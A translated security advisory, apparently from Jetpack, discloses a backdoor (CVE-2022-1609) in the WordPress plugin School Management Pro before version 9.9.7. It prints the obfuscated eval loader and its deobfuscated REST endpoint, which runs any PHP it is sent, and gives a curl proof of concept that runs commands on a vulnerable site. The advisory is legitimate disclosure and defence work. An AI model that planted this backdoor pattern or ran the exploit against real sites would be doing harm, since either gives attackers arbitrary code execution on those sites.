在 WordPress 的 School Management Pro 插件中發現後門

已發表: 2022-05-20

來自 Weblizar 的 WordPress 插件“The School Management Pro”的 9.9.7 之前的版本包含一個後門,允許未經身份驗證的攻擊者在安裝了該插件的站點上執行任意 PHP 代碼。 如果您的站點上安裝了早期版本,我們建議立即升級到 9.9.7 或更高版本。 這是一個關鍵的安全問題。

請繼續閱讀以獲取完整的詳細信息。

細節:

  • 插件名稱:學校管理專業版
  • 插件 slug: school-management-pro , school-management-pro-9.9.6 school-management-pro-9.9.5 , the-school-management
  • 供應商:Weblizar
  • 受影響的版本:< 9.9.7
  • CVE:CVE-2022-1609
  • CVSS 分數:10.0(嚴重)
  • CVSS 矢量:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • WPVULNDB:https://wpscan.com/vulnerability/e2d546c9-85b6-47a4-b951-781b9ae5d0f2

Jetpack Scan 的一部分工作是通過檢查在我們託管的網站上發現的可疑文件來支持我們託管的 WordPress 業務。 這通常是由於文件被我們的一個簽名標記,或者網站所有者發現了一些可疑的東西並希望得到我們的意見。 就像事物的本質一樣,有時這些文件是良性的,有些是誤報,有些是新的惡意軟件菌株或變體,需要更多的工作來正確分類。

然而,有時,我們得到的結果更有趣。

幾週前,發生了一起這樣的事件。 WordPress.com 升級支持團隊就在多個站點的插件中發現的一些混淆的、明顯是惡意的代碼與我們聯繫。

}
$_fc = eval("\x65\x76\x61\x6c(\x67\x7a".chr($_x = 0x70 - 7).chr($_x += 5).chr($_x -= 8) . "\x6c\x61\x74" . "\x65\x28\x62"."\x61\x73\x65\x36"."\x34\x5f\x64\x65\x63\x6f\x64\x65\x28'fY9BasMwEEXX8ikmECIbnAukJJAW77ooSaCLUsTYHjsilu2O5JRQfPdKDs2mbbTQQu/9mS8sS4WF010bg2SyTmGvlW61kylUQ3tFCXxFgqnW1hGrSeNucBRHQkg0S0MmJ/YJ2eiCWksy9QSZ8RIUIQ25Y1daCbDewOuL2mX7g9oTn4lXq6ddtj1sH5+zdHILbJoci5MM7q0CzJk+Br8ZpjL+zJFrC+sbWG5qcqpHRmPj5GFydAUxaGvJ+QHBf5N5031W2h7lu5+0WMAMyPTu8i//I303OsGfjoLO2Pzm13JjuMfw6SQS/m304Bs='" . str_repeat(chr(0x29), 3)."\x3b");
class WLSM_Crypt_Blowfish_DefaultKey

經過兩輪微不足道的反混淆,這給出了:

add_action( 'rest_api_init', function() {
        register_rest_route(
                'am-member', 'license',
                array(
                        'methods'  => WP_REST_Server::CREATABLE,
                        'callback' => function( $request ) {
                                $args = $request->get_params();
                                if ( isset( $args['blowfish'] ) && ! empty( $args['blowfish'] ) && isset( $args['blowf'] ) && ! empty( $args['blowf'] ) ) {
                                        eval( $args['blowf'] );
                                }
                        },
                )
        );
} );

代碼本身並不是那麼有趣:它是一個明顯的後門注入到插件的許可證檢查代碼中。 它允許任何攻擊者在安裝了插件的站點上執行任意 PHP 代碼,如下面的概念證明所示:

$ curl -s -d 'blowfish=1' -d "blowf=system('id');" 'http://localhost:8888/wp-json/am-member/license'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/wp-content/plugins/school-management-pro-9.9.4/admin/inc/manager/WLSM_LC.php(683) : eval()'d code(1) : eval()'d code(9) : eval()'d code:1) in /var/www/html/wp-includes/rest-api/class-wp-rest-server.php on line 1713

這是我們在 nulled 插件中經常看到的那種東西; 這種情況經常發生,以至於我們在上一篇文章中已經介紹了一個類似的案例。 我們的第一個假設是這裡也是如此。 網站所有者安裝了一個來自陰暗來源的插件。

但是,我們確信安裝的插件是直接從供應商處收到的。 供應商也很快證實了這一點,在意識到它的存在後刪除了有問題的代碼。

我們試圖從供應商那裡獲得更多關於後門何時被注入、哪些版本受到影響以及代碼最初是如何進入插件的信息。 這項努力沒有成功,因為供應商表示他們不知道代碼何時或如何進入他們的軟件。

我們至少在我們的託管系統中看到了包含後門的 8.9 版本,但由於我們沒有任何關於後門何時首次出現的明確信息,我們必須假設 9.9.7 之前的任何版本都受到影響。

插件在許多不同的 slug 下運行,通常使用包含版本號的 slug,檢測和警告問題變得更加複雜。 在我們的託管系統中,我們至少看到了以下變體:

  • school-management
  • school-management-v*
  • school-management-pro
  • school-management-pro-*
  • the-school-management

來自 WordPress.org 插件存儲庫的免費版本不包含許可代碼,也不受此後門的影響。

時間線

2022-05-04:升級後的 WordPress.com 支持團隊發現了注入的代碼,並聯繫 Jetpack Scan 以分析和驗證發現。 在確認這是一個後門後,他們通知了供應商。

2022-05-05:供應商確認注入的代碼確實在他們的發行版中,並為我們提供了刪除後門的 9.9.7 版本。 我們確認它是乾淨的。

2022-05-06:供應商積極向其客戶分發 9.9.7 版本並鼓勵他們進行更新。

2022-05-10:供應商回答了我們關於他們是否知道後門何時添加的其他問題,但聲稱他們不知道。 他們確實提供了以前的版本 9.9.4,其中包括後門。

結論

我們建議任何安裝了 The School Management Pro 9.9.7 之前版本的站點立即升級。

在 Jetpack,我們努力確保您的網站免受此類漏洞的影響。 我們建議您為您的站點制定一個安全計劃,其中包括惡意文件掃描和備份。 Jetpack Security 是一種出色的 WordPress 安全選項,可確保您的網站和訪問者的安全。

學分

這項研究是 WordPress.com 升級支持團隊與 Nic Sevic、Thom Stackhouse 和 Joshua Goode 以及 Jetpack Scan 與 Harald Eilertsen 和 Fioravante Cavallari 之間的合作。 還要感謝 Benedict Singer 的反饋和更正。